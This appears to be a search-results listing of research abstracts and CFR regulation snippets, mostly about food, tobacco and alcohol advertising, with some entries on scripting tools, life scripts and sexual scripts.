    Background Overweight and obesity are recognised nationally and internationally as key public health challenges. Food and drink advertising is one of the array of factors that influence both diet and physical activity choices and, hence, body weight and obesity. Little previous work has focused on food and drink advertising in magazines. We studied food and drink advertising in a wide range of popular UK monthly women's magazines published over a full year. We explored differences in the prevalence of food and drink advertising and the type of food and drinks advertised according to season, magazine type and socio-economic profile of readers. Methods All advertisements in all issues of 18 popular UK monthly women's magazines published over 12 months were identified. For each food or drink advertisement, branded food and drinks were noted and categorised into one of seven food groups. All analyses were at the level of the individual advertisement. Results A total of 35 053 advertisements were identified; 1380 (3.9%) of these were for food or drink. The most common food group represented was 'food and drinks high in fat and/or sugar' (28.0% of food advertisements), the least common group was 'fruits & vegetables' (2.0% of food advertisements). Advertisements for alcohol accounted for 10.1% of all food advertisements. Food and drink advertisements were most common in summer, general interest magazines, and those with the most affluent readerships. There were some differences in the type of food and drink advertised across season, magazine type and socio-economic profile of readers. Conclusions Food and drink advertisements represented only a small proportion of advertisements in UK women's monthly magazines. Food and drink advertisements in these magazines feature a high proportion of 'less healthy' foods. There were a number of differences across season, magazine type and according to the socio-economic profile of readers in the prevalence of food and drink advertisements. Fewer differences were seen in the type of food and drinks advertised. PMID:21605388

  5. Wind Tunnel Simulations of the Mock Urban Setting Test - Experimental Procedures and Data Analysis

    DTIC Science & Technology

    2004-07-01

    depends on the subjective choice of points to include in the constant stress region. This is demonstrated by the marked difference in the slope for the two...designed explicitly for the analysis of time series and signal processing , particularly for atmospheric dispersion ex- periments. The scripts developed...below. Processing scripts are available for all these analyses in the /scripts directory. All files of figures and processed data resulting from these

  6. Summary report for the Engineering Script Language (ESL)

    NASA Technical Reports Server (NTRS)

    1990-01-01

    The following subject areas are covered: ESL methodology concept; ESL specification; user interface description; engineering scripting language command statements specification; and recommendations for further research and development.

  7. The effectiveness of parental communication in modifying the relation between food advertising and children's consumption behaviour.

    PubMed

    Buijzen, Moniek

    2009-03-01

    The aim of this study was to examine the effectiveness of various types of parental communication in modifying children's responses to television food advertising. In a combined diary-survey study among 234 parents of 4- to 12-year-old children, I investigated how different styles of advertising mediation (active vs. restrictive) and consumer communication (concept-oriented vs. socio-oriented) moderated the relation between children's advertising exposure and their consumption of advertised energy-dense food products. Interaction analysis in regression showed that active advertising mediation (i.e. explaining the purpose and nature of advertising), and socio-oriented consumer communication (i.e. emphasizing control and restrictions) significantly reduced the impact of advertising on children's food consumption. Parental restrictions of advertising exposure were only effective among younger children (<8). These results suggest that critical discussion about advertising and rule making about consumption are most effective in countering the impact of food advertising.

  8. Point-of-sale tobacco advertising in Beirut, Lebanon following a national advertising ban

    PubMed Central

    2013-01-01

    Background The objective of this study was to conduct an audit of point-of-sale (POS) tobacco advertising and assess compliance with an advertising ban in a large district of Beirut, Lebanon. Methods The audit was conducted 3 months following the ban on tobacco advertising. Trained students observed all tobacco retail outlets (n = 100) and entered data into a web-based form using iPad® technology. Presence of tobacco advertisements was assessed to determine compliance with the national advertising ban. Results Among the 100 tobacco retail outlets, 62% had tobacco advertisements, including 7% with a tobacco brand logo as part of the main exterior store sign. Conclusions POS tobacco advertising is widespread in Beirut despite the national advertising ban. These findings point to an urgent need for the enforcement of the advertisement ban with tobacco retail outlets in Lebanon. PMID:23731766

  9. A Q-Analysis of College Students Attitudes Toward Advertising.

    ERIC Educational Resources Information Center

    Larkin, Ernest F.

    Eighty college students were administered 26 Likert-type statements designed to measure their attitudes toward advertising along four different dimensions: economic effects of advertising, social effects of advertising, ethics of advertising, and regulation of advertising. Analysis of the responses revealed five clusters or "types" of individuals…

  10. 27 CFR 4.65 - Comparative advertising.

    Code of Federal Regulations, 2012 CFR

    2012-04-01

    ... 27 Alcohol, Tobacco Products and Firearms 1 2012-04-01 2012-04-01 false Comparative advertising. 4..., DEPARTMENT OF THE TREASURY LIQUORS LABELING AND ADVERTISING OF WINE Advertising of Wine § 4.65 Comparative advertising. (a) General. Comparative advertising shall not be disparaging of a competitor's product. (b...

  11. 27 CFR 4.65 - Comparative advertising.

    Code of Federal Regulations, 2011 CFR

    2011-04-01

    ... 27 Alcohol, Tobacco Products and Firearms 1 2011-04-01 2011-04-01 false Comparative advertising. 4..., DEPARTMENT OF THE TREASURY LIQUORS LABELING AND ADVERTISING OF WINE Advertising of Wine § 4.65 Comparative advertising. (a) General. Comparative advertising shall not be disparaging of a competitor's product. (b...

  12. 27 CFR 4.65 - Comparative advertising.

    Code of Federal Regulations, 2014 CFR

    2014-04-01

    ... 27 Alcohol, Tobacco Products and Firearms 1 2014-04-01 2014-04-01 false Comparative advertising. 4..., DEPARTMENT OF THE TREASURY ALCOHOL LABELING AND ADVERTISING OF WINE Advertising of Wine § 4.65 Comparative advertising. (a) General. Comparative advertising shall not be disparaging of a competitor's product. (b...

  13. 27 CFR 4.65 - Comparative advertising.

    Code of Federal Regulations, 2013 CFR

    2013-04-01

    ... 27 Alcohol, Tobacco Products and Firearms 1 2013-04-01 2013-04-01 false Comparative advertising. 4..., DEPARTMENT OF THE TREASURY ALCOHOL LABELING AND ADVERTISING OF WINE Advertising of Wine § 4.65 Comparative advertising. (a) General. Comparative advertising shall not be disparaging of a competitor's product. (b...

  14. 12 CFR 230.8 - Advertising.

    Code of Federal Regulations, 2010 CFR

    2010-01-01

    ... 12 Banks and Banking 3 2010-01-01 2010-01-01 false Advertising. 230.8 Section 230.8 Banks and... SAVINGS (REGULATION DD) § 230.8 Advertising. (a) Misleading or inaccurate advertisements. An advertisement... obtain the advertised annual percentage yield. For tiered-rate accounts, the minimum balance required for...

  15. 12 CFR 707.8 - Advertising.

    Code of Federal Regulations, 2014 CFR

    2014-01-01

    ... 12 Banks and Banking 7 2014-01-01 2014-01-01 false Advertising. 707.8 Section 707.8 Banks and... Advertising. (a) Misleading or inaccurate advertisements. An advertisement must not: (1) Be misleading or... balance required to earn the advertised annual percentage yield. For tiered-rate accounts, the minimum...

  16. 2 CFR 200.421 - Advertising and public relations.

    Code of Federal Regulations, 2014 CFR

    2014-01-01

    ... 2 Grants and Agreements 1 2014-01-01 2014-01-01 false Advertising and public relations. 200.421... Cost § 200.421 Advertising and public relations. (a) The term advertising costs means the costs of advertising media and corollary administrative costs. Advertising media include magazines, newspapers, radio...

  17. 12 CFR 230.8 - Advertising.

    Code of Federal Regulations, 2011 CFR

    2011-01-01

    ... 12 Banks and Banking 3 2011-01-01 2011-01-01 false Advertising. 230.8 Section 230.8 Banks and... SAVINGS (REGULATION DD) § 230.8 Advertising. (a) Misleading or inaccurate advertisements. An advertisement... obtain the advertised annual percentage yield. For tiered-rate accounts, the minimum balance required for...

  18. 12 CFR 328.3 - Official advertising statement requirements.

    Code of Federal Regulations, 2013 CFR

    2013-01-01

    ... 12 Banks and Banking 5 2013-01-01 2013-01-01 false Official advertising statement requirements... OF GENERAL POLICY ADVERTISEMENT OF MEMBERSHIP § 328.3 Official advertising statement requirements. (a... advertising statement. The official advertising statement shall be in substance as follows: “Member of the...

  19. 12 CFR 707.8 - Advertising.

    Code of Federal Regulations, 2013 CFR

    2013-01-01

    ... 12 Banks and Banking 7 2013-01-01 2013-01-01 false Advertising. 707.8 Section 707.8 Banks and... Advertising. (a) Misleading or inaccurate advertisements. An advertisement must not: (1) Be misleading or... balance required to earn the advertised annual percentage yield. For tiered-rate accounts, the minimum...

  20. 12 CFR 707.8 - Advertising.

    Code of Federal Regulations, 2010 CFR

    2010-01-01

    ... 12 Banks and Banking 6 2010-01-01 2010-01-01 false Advertising. 707.8 Section 707.8 Banks and... Advertising. (a) Misleading or inaccurate advertisements. An advertisement must not: (1) Be misleading or... balance required to earn the advertised annual percentage yield. For tiered-rate accounts, the minimum...

  1. 12 CFR 707.8 - Advertising.

    Code of Federal Regulations, 2011 CFR

    2011-01-01

    ... 12 Banks and Banking 6 2011-01-01 2011-01-01 false Advertising. 707.8 Section 707.8 Banks and... Advertising. (a) Misleading or inaccurate advertisements. An advertisement must not: (1) Be misleading or... balance required to earn the advertised annual percentage yield. For tiered-rate accounts, the minimum...

  2. 12 CFR 707.8 - Advertising.

    Code of Federal Regulations, 2012 CFR

    2012-01-01

    ... 12 Banks and Banking 7 2012-01-01 2012-01-01 false Advertising. 707.8 Section 707.8 Banks and... Advertising. (a) Misleading or inaccurate advertisements. An advertisement must not: (1) Be misleading or... balance required to earn the advertised annual percentage yield. For tiered-rate accounts, the minimum...

  3. 12 CFR 328.3 - Official advertising statement requirements.

    Code of Federal Regulations, 2010 CFR

    2010-01-01

    ... 12 Banks and Banking 4 2010-01-01 2010-01-01 false Official advertising statement requirements... OF GENERAL POLICY ADVERTISEMENT OF MEMBERSHIP § 328.3 Official advertising statement requirements. (a... advertising statement. The official advertising statement shall be in substance as follows: “Member of the...

  4. The Influence of Advertising on Attendance at Park Programs

    ERIC Educational Resources Information Center

    Reyburn, Jerry H.; Knudson, Douglas M.

    1975-01-01

    Investigated were the effects on attendance of four types of pre-program advertising: no advertising, personal invitation, signs, and innovation. All three advertising treatments increased program attendance over no advertising. Each advertising technique has advantages and disadvantages. Signs are impersonal, but effective. Personal invitation is…

  5. Job and Career Satisfaction among Advertising Practitioners.

    ERIC Educational Resources Information Center

    Jugenheimer, Donald W.

    A questionnaire survey of 300 advertising practitioners was used to determine the degree of job and career satisfaction among advertising practitioners. The subjects were separated according to whether they worked for advertising agencies, advertisers, or advertising media; 100 subjects in each area were selected from the prestigious directories…

  6. PyRosetta: a script-based interface for implementing molecular modeling algorithms using Rosetta.

    PubMed

    Chaudhury, Sidhartha; Lyskov, Sergey; Gray, Jeffrey J

    2010-03-01

    PyRosetta is a stand-alone Python-based implementation of the Rosetta molecular modeling package that allows users to write custom structure prediction and design algorithms using the major Rosetta sampling and scoring functions. PyRosetta contains Python bindings to libraries that define Rosetta functions including those for accessing and manipulating protein structure, calculating energies and running Monte Carlo-based simulations. PyRosetta can be used in two ways: (i) interactively, using iPython and (ii) script-based, using Python scripting. Interactive mode contains a number of help features and is ideal for beginners while script-mode is best suited for algorithm development. PyRosetta has similar computational performance to Rosetta, can be easily scaled up for cluster applications and has been implemented for algorithms demonstrating protein docking, protein folding, loop modeling and design. PyRosetta is a stand-alone package available at http://www.pyrosetta.org under the Rosetta license which is free for academic and non-profit users. A tutorial, user's manual and sample scripts demonstrating usage are also available on the web site.

  7. PyRosetta: a script-based interface for implementing molecular modeling algorithms using Rosetta

    PubMed Central

    Chaudhury, Sidhartha; Lyskov, Sergey; Gray, Jeffrey J.

    2010-01-01

    Summary: PyRosetta is a stand-alone Python-based implementation of the Rosetta molecular modeling package that allows users to write custom structure prediction and design algorithms using the major Rosetta sampling and scoring functions. PyRosetta contains Python bindings to libraries that define Rosetta functions including those for accessing and manipulating protein structure, calculating energies and running Monte Carlo-based simulations. PyRosetta can be used in two ways: (i) interactively, using iPython and (ii) script-based, using Python scripting. Interactive mode contains a number of help features and is ideal for beginners while script-mode is best suited for algorithm development. PyRosetta has similar computational performance to Rosetta, can be easily scaled up for cluster applications and has been implemented for algorithms demonstrating protein docking, protein folding, loop modeling and design. Availability: PyRosetta is a stand-alone package available at http://www.pyrosetta.org under the Rosetta license which is free for academic and non-profit users. A tutorial, user's manual and sample scripts demonstrating usage are also available on the web site. Contact: pyrosetta@graylab.jhu.edu PMID:20061306

  8. Life scripts for emotionally charged autobiographical memories: A cultural explanation of the reminiscence bump.

    PubMed

    Haque, Shamsul; Hasking, Penelope A

    2010-10-01

    Two studies examined the ability of the life script account to explain the reminiscence bump for emotionally charged autobiographical memories among Malaysian participants. In Study 1 volunteers, aged 50-90 years, participated in a two-phased task. In the first phase, participants estimated the timing of 11 life events (both positive and negative) that may occur in a prototypical life course within their own culture. Two weeks later the participants retrieved the same set of events from their lives and reported how old they were when those events occurred. In the second study 92 undergraduate students produced life scripts for the same 11 events. The findings revealed reminiscence bumps in both life script and retrieval curves for the memories judged happiest, most important, most in love, and most jealous. A reminiscence bump was also noted for success, although this was later in the lifespan than other reminiscence bumps. It was suggested that the life scripts can be used as an alternative account for the reminiscence bump, for highly positive and occasionally for negative autobiographical memories.

  9. A Chinese Character Teaching System Using Structure Theory and Morphing Technology

    PubMed Central

    Sun, Linjia; Liu, Min; Hu, Jiajia; Liang, Xiaohui

    2014-01-01

    This paper proposes a Chinese character teaching system by using the Chinese character structure theory and the 2D contour morphing technology. This system, including the offline phase and the online phase, automatically generates animation for the same Chinese character from different writing stages to intuitively show the evolution of shape and topology in the process of Chinese characters teaching. The offline phase builds the component models database for the same script and the components correspondence database for different scripts. Given two or several different scripts of the same Chinese character, the online phase firstly divides the Chinese characters into components by using the process of Chinese character parsing, and then generates the evolution animation by using the process of Chinese character morphing. Finally, two writing stages of Chinese characters, i.e., seal script and clerical script, are used in experiment to show the ability of the system. The result of the user experience study shows that the system can successfully guide students to improve the learning of Chinese characters. And the users agree that the system is interesting and can motivate them to learn. PMID:24978171

  10. Computer Software Configuration Item-Specific Flight Software Image Transfer Script Generator

    NASA Technical Reports Server (NTRS)

    Bolen, Kenny; Greenlaw, Ronald

    2010-01-01

    A K-shell UNIX script enables the International Space Station (ISS) Flight Control Team (FCT) operators in NASA s Mission Control Center (MCC) in Houston to transfer an entire or partial computer software configuration item (CSCI) from a flight software compact disk (CD) to the onboard Portable Computer System (PCS). The tool is designed to read the content stored on a flight software CD and generate individual CSCI transfer scripts that are capable of transferring the flight software content in a given subdirectory on the CD to the scratch directory on the PCS. The flight control team can then transfer the flight software from the PCS scratch directory to the Electronically Erasable Programmable Read Only Memory (EEPROM) of an ISS Multiplexer/ Demultiplexer (MDM) via the Indirect File Transfer capability. The individual CSCI scripts and the CSCI Specific Flight Software Image Transfer Script Generator (CFITSG), when executed a second time, will remove all components from their original execution. The tool will identify errors in the transfer process and create logs of the transferred software for the purposes of configuration management.

  11. Food advertising on Australian television: the extent of children's exposure.

    PubMed

    Neville, Leonie; Thomas, Margaret; Bauman, Adrian

    2005-06-01

    The objective of this study was to investigate the extent and nature of food advertising during Australian children's television (TV) viewing hours and programs, and to determine whether confectionery and fast food restaurant advertisements were more likely to be broadcast during children's programs than during adults' programs on Sydney television stations. One week (390 h) of Australian advertising data broadcast during children's TV viewing hours over 15 television stations were analysed to determine the proportion of food advertisements and, in turn, the proportion of those advertisements promoting foods high in fat and/or sugar. One week (346 h) of confectionery and fast food restaurant advertisements broadcast over three Sydney television stations were analysed to determine whether these types of advertisements were more likely to be advertised during children's programs than adults' programs. Half of all food advertisements promoted foods high in fat and/or sugar. 'Confectionery' and 'fast food restaurants' were the most advertised food categories during children's TV viewing hours. Confectionery advertisements were three times as likely, and fast food restaurant advertisements twice as likely, to be broadcast during children's programs than adults' programs. It can be concluded that foods most advertised during children's viewing hours are not those foods that contribute to a healthy diet for children. Confectionery and fast food restaurant advertising appears to target children. Australian children need protection from the targeted promotion of unhealthy foods on television, but currently little exists.

  12. Generating Quitline calls during Australia's National Tobacco Campaign: effects of television advertisement execution and programme placement

    PubMed Central

    Carroll, T; Rock, B

    2003-01-01

    Objective: The study sought to measure the relative efficiency of different television advertisements and types of television programmes in which advertisements were placed, in generating calls to Australia's national Quitline. Design: The study entailed an analysis of the number of calls generated to the Quitline relative to the weight of advertising exposure (in target audience rating points (TARPs) for particular television advertisements and for placement of these advertisements in particular types of television programmes. A total of 238 television advertisement placements and 1769 calls to the Quitline were analysed in Sydney and Melbourne. Results: The more graphic "eye" advertisement conveying new information about the association between smoking and macular degeneration leading to blindness was more efficient in generating quitline calls than the "tar" advertisement, which reinforced the message of tar in a smoker's lungs. Combining the health effects advertisements with a quitline modelling advertisement tended to increase the efficiency of generating Quitline calls. Placing advertisements in lower involvement programmes appears to provide greater efficiency in generating Quitline calls than in higher involvement programmes. Conclusions: Tobacco control campaign planners can increase the number of calls to telephone quitlines by assessing the efficiency of particular advertisements to generate such calls. Pairing of health effect and quitline modelling advertisements can increase efficiency in generating calls. Placement of advertisements in lower involvement programme types may increase efficiency in generating Quitline calls. PMID:12878772

  13. Generating Quitline calls during Australia's National Tobacco Campaign: effects of television advertisement execution and programme placement.

    PubMed

    Carroll, T; Rock, B

    2003-09-01

    The study sought to measure the relative efficiency of different television advertisements and types of television programmes in which advertisements were placed, in generating calls to Australia's national Quitline. The study entailed an analysis of the number of calls generated to the Quitline relative to the weight of advertising exposure (in target audience rating points (TARPs) for particular television advertisements and for placement of these advertisements in particular types of television programmes. A total of 238 television advertisement placements and 1769 calls to the Quitline were analysed in Sydney and Melbourne. The more graphic "eye" advertisement conveying new information about the association between smoking and macular degeneration leading to blindness was more efficient in generating quitline calls than the "tar" advertisement, which reinforced the message of tar in a smoker's lungs. Combining the health effects advertisements with a quitline modelling advertisement tended to increase the efficiency of generating Quitline calls. Placing advertisements in lower involvement programmes appears to provide greater efficiency in generating Quitline calls than in higher involvement programmes. Tobacco control campaign planners can increase the number of calls to telephone quitlines by assessing the efficiency of particular advertisements to generate such calls. Pairing of health effect and quitline modelling advertisements can increase efficiency in generating calls. Placement of advertisements in lower involvement programme types may increase efficiency in generating Quitline calls.

  14. Selling Advertising.

    ERIC Educational Resources Information Center

    Wilson, Elizabeth; de Courcy-Ireland, Marion

    1983-01-01

    Some suggestions for introducing advertising into faculty-staff papers include get support from the administration, set an advertising policy, develop a budget, consult professionals, structure the advertising department, and hire an advertising representative. (MLW)

  15. 12 CFR 1026.24 - Advertising.

    Code of Federal Regulations, 2012 CFR

    2012-01-01

    ... 12 Banks and Banking 8 2012-01-01 2012-01-01 false Advertising. 1026.24 Section 1026.24 Banks and....24 Advertising. (a) Actually available terms. If an advertisement for credit states specific credit... annual rate of interest will apply over the term of the advertised loan, the advertisement shall disclose...

  16. 48 CFR 852.203-70 - Commercial advertising.

    Code of Federal Regulations, 2014 CFR

    2014-10-01

    ... 48 Federal Acquisition Regulations System 5 2014-10-01 2014-10-01 false Commercial advertising... Commercial advertising. As prescribed in 803.570-2, insert the following clause: Commercial Advertising (JAN... solicitation, he/she will not advertise the award of the contract in his/her commercial advertising in such a...

  17. 48 CFR 852.203-70 - Commercial advertising.

    Code of Federal Regulations, 2010 CFR

    2010-10-01

    ... 48 Federal Acquisition Regulations System 5 2010-10-01 2010-10-01 false Commercial advertising... Commercial advertising. As prescribed in 803.570-2, insert the following clause: Commercial Advertising (JAN... solicitation, he/she will not advertise the award of the contract in his/her commercial advertising in such a...

  18. 48 CFR 852.203-70 - Commercial advertising.

    Code of Federal Regulations, 2013 CFR

    2013-10-01

    ... 48 Federal Acquisition Regulations System 5 2013-10-01 2013-10-01 false Commercial advertising... Commercial advertising. As prescribed in 803.570-2, insert the following clause: Commercial Advertising (JAN... solicitation, he/she will not advertise the award of the contract in his/her commercial advertising in such a...

  19. 48 CFR 852.203-70 - Commercial advertising.

    Code of Federal Regulations, 2011 CFR

    2011-10-01

    ... 48 Federal Acquisition Regulations System 5 2011-10-01 2011-10-01 false Commercial advertising... Commercial advertising. As prescribed in 803.570-2, insert the following clause: Commercial Advertising (JAN... solicitation, he/she will not advertise the award of the contract in his/her commercial advertising in such a...

  20. 12 CFR 1026.24 - Advertising.

    Code of Federal Regulations, 2014 CFR

    2014-01-01

    ... 12 Banks and Banking 9 2014-01-01 2014-01-01 false Advertising. 1026.24 Section 1026.24 Banks and....24 Advertising. (a) Actually available terms. If an advertisement for credit states specific credit... annual rate of interest will apply over the term of the advertised loan, the advertisement shall disclose...

  1. 48 CFR 852.203-70 - Commercial advertising.

    Code of Federal Regulations, 2012 CFR

    2012-10-01

    ... 48 Federal Acquisition Regulations System 5 2012-10-01 2012-10-01 false Commercial advertising... Commercial advertising. As prescribed in 803.570-2, insert the following clause: Commercial Advertising (JAN... solicitation, he/she will not advertise the award of the contract in his/her commercial advertising in such a...

  2. 12 CFR 1026.24 - Advertising.

    Code of Federal Regulations, 2013 CFR

    2013-01-01

    ... 12 Banks and Banking 8 2013-01-01 2013-01-01 false Advertising. 1026.24 Section 1026.24 Banks and....24 Advertising. (a) Actually available terms. If an advertisement for credit states specific credit... annual rate of interest will apply over the term of the advertised loan, the advertisement shall disclose...

  3. 40 CFR 168.22 - Advertising of unregistered pesticides, unregistered uses of registered pesticides and FIFRA...

    Code of Federal Regulations, 2010 CFR

    2010-07-01

    ... reasonably likely to be understood by persons to whom the advertisement is addressed. For printed advertising... 40 Protection of Environment 23 2010-07-01 2010-07-01 false Advertising of unregistered pesticides... ENFORCEMENT POLICIES AND INTERPRETATIONS Advertising § 168.22 Advertising of unregistered pesticides...

  4. Medicalisation of food advertising. Nutrition and health claims in magazine food advertisements 1990-2008.

    PubMed

    Zwier, Sandra

    2009-08-01

    Food advertising increasingly portrays food as a type of medicine. A content analysis of magazine food advertisements in 1990 through 2008 shows that this was manifested with time more in the (a) nutrition claims and (b) health claims made in food advertisements, as well as the (c) food groups and (d) media genres to which nutrition and health claims in food advertising pertained. This so-called "medicalisation" of food advertising may promote images of the body and mind as malfunctioning unless remedied by the use of--advertised--products.

  5. Increasing mental health literacy via narrative advertising.

    PubMed

    Chang, Chingching

    2008-01-01

    This research explored the effectiveness of narrative advertising and argument advertising in increasing mental illness (depression) literacy. Results showed that narrative advertising was more effective than argument advertising at engaging participants in experiential immersion, resulting in greater sympathy toward those suffering from depression. In addition, narrative advertising better involved participants in issue elaboration and increased willingness to seek professional help. Finally, in comparison with argument advertising, narrative advertisements were rated higher in providing vivid information, resulting in an increase in participants' perceived efficacy in recognizing friends or family suffering from depression.

  6. Assessing storefront tobacco advertising after the billboard ban.

    PubMed

    Jason, Leonard A; Pokorny, Steven B; Mikulski, Kathy; Schoeny, Michael E

    2004-03-01

    This study examined storefront tobacco advertisements in 11 towns in Illinois from 1999 through 2001 to assess possible changes in these types of advertisements since the master tobacco settlement, which banned tobacco advertisements on billboards. Observers assessed the number of merchant- and industry-made tobacco storefront advertisements in Illinois stores and whether these advertisements were either brand- or price-focused. The relationship between the amount of tobacco advertisements and underage tobacco sales to minors was also explored. Findings indicated no significant relationships between tobacco advertisements and underage tobacco sales. However, industry price advertisements decreased over time because of tobacco price increases resulting from the master settlement, whereas industry brand advertisements increased over time, perhaps in an effort by the tobacco industry to retain sales of their products through brand recognition.

  7. Priming effects of television food advertising on eating behavior.

    PubMed

    Harris, Jennifer L; Bargh, John A; Brownell, Kelly D

    2009-07-01

    Health advocates have focused on the prevalence of advertising for calorie-dense low-nutrient foods as a significant contributor to the obesity epidemic. This research tests the hypothesis that exposure to food advertising during TV viewing may also contribute to obesity by triggering automatic snacking of available food. In Experiments 1a and 1b, elementary-school-age children watched a cartoon that contained either food advertising or advertising for other products and received a snack while watching. In Experiment 2, adults watched a TV program that included food advertising that promoted snacking and/or fun product benefits, food advertising that promoted nutrition benefits, or no food advertising. The adults then tasted and evaluated a range of healthy to unhealthy snack foods in an apparently separate experiment. Amount of snack foods consumed during and after advertising exposure. Children consumed 45% more when exposed to food advertising. Adults consumed more of both healthy and unhealthy snack foods following exposure to snack food advertising compared to the other conditions. In both experiments, food advertising increased consumption of products not in the presented advertisements, and these effects were not related to reported hunger or other conscious influences. These experiments demonstrate the power of food advertising to prime automatic eating behaviors and thus influence far more than brand preference alone.

  8. The tobacco industry's accounts of refining indirect tobacco advertising in Malaysia.

    PubMed

    Assunta, M; Chapman, S

    2004-12-01

    To explore tobacco industry accounts of its use of indirect tobacco advertising and trademark diversification (TMD) in Malaysia, a nation with a reputation for having an abundance of such advertising. Systematic keyword and opportunistic website searches of formerly private tobacco industry internal documents made available through the Master Settlement Agreement. 132 documents relevant to the topic were reviewed. TMD efforts were created to advertise cigarettes after advertising restrictions on direct advertising were imposed in 1982. To build public credibility the tobacco companies set up small companies and projected them as entities independent of tobacco. Each brand selected an activity or event such as music, travel, fashion, and sports that best suited its image. RJ Reynolds sponsored music events to advertise its Salem brand while Philip Morris used Marlboro World of Sports since advertising restrictions prevented the use of the Marlboro man in broadcast media. Despite a ban on tobacco advertisements in the mass media, tobacco companies were the top advertisers in the country throughout the 1980s and 1990s. The media's dependence on advertising revenue and support from the ruling elite played a part in delaying efforts to ban indirect advertising. Advertising is crucial for the tobacco industry. When faced with an advertising ban they created ways to circumvent it, such as TMDs.

  9. The tobacco industry's accounts of refining indirect tobacco advertising in Malaysia

    PubMed Central

    Assunta, M; Chapman, S

    2004-01-01

    Objective: To explore tobacco industry accounts of its use of indirect tobacco advertising and trademark diversification (TMD) in Malaysia, a nation with a reputation for having an abundance of such advertising. Methods: Systematic keyword and opportunistic website searches of formerly private tobacco industry internal documents made available through the Master Settlement Agreement. Results: 132 documents relevant to the topic were reviewed. TMD efforts were created to advertise cigarettes after advertising restrictions on direct advertising were imposed in 1982. To build public credibility the tobacco companies set up small companies and projected them as entities independent of tobacco. Each brand selected an activity or event such as music, travel, fashion, and sports that best suited its image. RJ Reynolds sponsored music events to advertise its Salem brand while Philip Morris used Marlboro World of Sports since advertising restrictions prevented the use of the Marlboro man in broadcast media. Despite a ban on tobacco advertisements in the mass media, tobacco companies were the top advertisers in the country throughout the 1980s and 1990s. The media's dependence on advertising revenue and support from the ruling elite played a part in delaying efforts to ban indirect advertising. Conclusion: Advertising is crucial for the tobacco industry. When faced with an advertising ban they created ways to circumvent it, such as TMDs. PMID:15564223

  10. [Alcoholism prevention and alcohol advertising investment in Spain: David versus Goliath].

    PubMed

    Montes-Santiago, Julio; Lado Castro-Rial, Marta

    2009-01-01

    Alcohol advertising correlates with consumption, particularly in young people. We studied the evolution of the amounts spent on alcoholic beverages advertising and on advertising as a whole in conventional media in Spain during the period 1995-2005. We analyzed the amounts spent on advertising in total and on alcoholic beverages advertising by studying the annual INFOADEX Survey on Advertising Investment in Spain in conventional media (TV, radio, the press, billboards and Internet). The results were subdivided into the periods 1995-2000 and 2001-2005. In the period 1995-2000 there was an increase (Delta) in alcoholic beverages advertising expenditure, from 268 to 347 million euro (Delta=29.5%), but a decrease in its percentage of advertising as a whole (from 7.6% to 6.1%). In the period 2001-2005 there was a rise in alcohol advertising expenditure from 145 to 186 million euro(Delta=28.0%), and also in its percentage of total advertising (from 2.7% to 2.8%). In 2001-2005, spending by Regional governments on preventive advertising increased from 22 to 52 million euro (Delta=136%). Alcohol advertising expenditure remains high in Spain, with young people as a primary target. In contrast, there is only modest investment in preventive advertising. Regulatory measures are necessary with a view to protecting populations especially susceptible to uncontrolled consumption.

  11. Server-Side JavaScript Debugging: Viewing the Contents of an Object

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Hampton, J.; Simons, R.

    1999-04-21

    JavaScript allows the definition and use of large, complex objects. Unlike some other object-oriented languages, it also allows run-time modifications not only of the values of object components, but also of the very structure of the object itself. This feature is powerful and sometimes very convenient, but it can be difficult to keep track of the object's structure and values throughout program execution. What's needed is a simple way to view the current state of an object at any point during execution. There is a debug function that is included in the Netscape server-side JavaScript environment. The function outputs themore » value(s) of the expression given as the argument to the function in the JavaScript Application Manager's debug window [SSJS].« less

  12. An alternate HIV preventive strategy: sex scripts in media for women of color.

    PubMed

    Medina, Catherine; Rios, Diana I

    2011-01-01

    New cases of HIV/AIDS among women of color in the United States highlight the continuing need for the public and private sectors to develop alternate preventive strategies. The author discusses the conceptual basis for using television sex scripts to incorporate women of color relational needs (trust, romance, sexual pressure) to promote HIV risk-reduction messages through a process of association with the television storyline. Sex scripts are a source of implicit knowledge about how to behave in situations that involve sexual intimacy. The article suggests that sexual scripts prevention messages build on the agency of women through the use of power theory-that is supporting woman's self-power by participating in sexual behavioral change. Implications for sexual equality in media programming are discussed.

  13. SoS Notebook: An Interactive Multi-Language Data Analysis Environment.

    PubMed

    Peng, Bo; Wang, Gao; Ma, Jun; Leong, Man Chong; Wakefield, Chris; Melott, James; Chiu, Yulun; Du, Di; Weinstein, John N

    2018-05-22

    Complex bioinformatic data analysis workflows involving multiple scripts in different languages can be difficult to consolidate, share, and reproduce. An environment that streamlines the entire processes of data collection, analysis, visualization and reporting of such multi-language analyses is currently lacking. We developed Script of Scripts (SoS) Notebook, a web-based notebook environment that allows the use of multiple scripting language in a single notebook, with data flowing freely within and across languages. SoS Notebook enables researchers to perform sophisticated bioinformatic analysis using the most suitable tools for different parts of the workflow, without the limitations of a particular language or complications of cross-language communications. SoS Notebook is hosted at http://vatlab.github.io/SoS/ and is distributed under a BSD license. bpeng@mdanderson.org.

  14. In and out of love with hip-hop: saliency of sexual scripts for young adult African American women in hip-hop and Black-oriented television.

    PubMed

    Coleman, M Nicole; Butler, Ebony O; Long, Amanda M; Fisher, Felicia D

    2016-10-01

    Hip-hop media and Black-oriented reality television are powerful mechanisms for conveying and promoting stereotypes of Black women. Black women's sexuality is frequently presented as highly-salient in each medium. However, little is known about the impact of those images on Black women's sexuality and identity. The current study uses focus-group methodology to engage young adult Black in critical discussion of two predominant sexual scripts found in hip-hop music and Black-oriented reality television - the Freak and the Gold Digger. Analyses revealed shared and distinct aspects of each sexual script represented in both media and the impact of those scripts on participants' experiences. Implications for future research are discussed.

  15. Children's Food and Beverage Promotion on Television to Parents.

    PubMed

    Emond, Jennifer A; Smith, Marietta E; Mathur, Suman J; Sargent, James D; Gilbert-Diamond, Diane

    2015-12-01

